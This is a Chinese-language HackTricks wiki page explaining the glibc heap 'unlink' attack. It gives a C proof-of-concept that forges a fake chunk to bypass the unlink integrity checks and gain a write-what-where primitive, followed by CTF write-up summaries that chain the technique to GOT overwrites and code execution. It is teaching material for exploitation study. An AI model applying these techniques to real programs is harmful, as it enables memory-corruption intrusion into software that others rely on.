Unlink Attack

支持 HackTricks

基本信息

当这种攻击被发现时,它主要允许进行 WWW (Write What Where) 攻击,但是一些检查被添加,使得攻击的新版本更加有趣和更加复杂,无用

代码示例:

代码

```c #include #include #include #include

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* 攻击在使用 tcaches 后不起作用(在 2.26 之后)

### 目标

这种攻击允许**将一个指向块的指针更改为指向其前面 3 个地址**。如果这个新位置(指针原本所在位置的周围)有有趣的内容,比如其他可控制的分配/栈等,就有可能读取/覆盖它们以造成更大的危害。

* 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户有可能读取和修改它,这将可能泄露栈中的敏感信息,甚至修改返回地址(也许)而不触及 canary
* 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,使其指向前 3 个地址并能够读取和写入,就有可能使其他指针指向其他地址。\
由于用户可能也可以读取/写入其他分配,他可以泄露信息或在任意位置上覆盖新地址(比如在 GOT 中)。

### 要求

* 对内存(例如栈)有一定控制权,以创建一对给定一些属性值的块。
* 需要栈泄漏以设置假块的指针。

### 攻击

* 有一对块(chunk1 和 chunk2)
* 攻击者控制 chunk1 的内容和 chunk2 的头部。
* 在 chunk1 中,攻击者创建了一个假块的结构:
* 为了绕过保护,确保字段 `size` 正确,以避免错误:`corrupted size vs. prev_size while consolidating`
* 假块的字段 `fd` 和 `bk` 分别指向 chunk1 指针存储的位置,偏移量分别为 -3 和 -2,因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存(栈)中真实 chunk1 地址所在的位置:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* 修改 chunk2 的头部,指示前一个块未使用,并且大小是包含的假块的大小。
* 当第二个块被释放时,发生了这个假块的取消链接:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* 之前已经确保 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一个位置(存储 chunk1 的栈中的位置,因此是一个有效的链接列表)。由于**两者都指向同一个位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会**生效**。
* 这将**覆盖栈中指向 chunk1 的指针到栈中存储的地址(或字节)的前 3 个地址**。
* 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够**在栈内写入**,从而有可能覆盖返回地址,跳过 canary 并修改本地变量的值和指针。甚至再次修改存储在栈中的 chunk1 地址的地址到不同位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。
* 请注意,这是可能的,因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在何处**。

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## 参考

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* 尽管在 CTF 中找到 unlink 攻击可能有些奇怪,但这里有一些使用此攻击的 writeup:
* CTF 示例:[https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* 在这个示例中,不是栈而是一个 malloc 分配地址的数组。执行 unlink 攻击以能够在这里分配一个块,从而能够控制 malloc 分配地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。
* 另一个 CTF 示例:[https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* 就像前一个示例一样,这里有一个分配地址的数组。可以执行 unlink 攻击,使第一个分配的地址指向数组开始前几个位置,然后在新位置上覆盖此分配。因此,可以覆盖其他分配的指针以指向 atoi 的 GOT,打印它以获取 libc 泄漏,然后用地址指向一个 one gadget 来覆盖 atoi 的 GOT。
* CTF 示例,使用自定义 malloc 和 free 函数滥用类似 unlink 攻击的漏洞:[https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* 存在一个溢出,允许控制将被(自定义)释放的自定义 malloc 的 FD 和 BK 指针。此外,堆具有 exec 位,因此可以泄漏堆地址,并将 GOT 中的函数指向堆块,以执行 shellcode。

<div data-gb-custom-block data-tag="hint" data-style='success'>

学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>支持 HackTricks</summary>

* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧**。

</details>

</div>

Last updated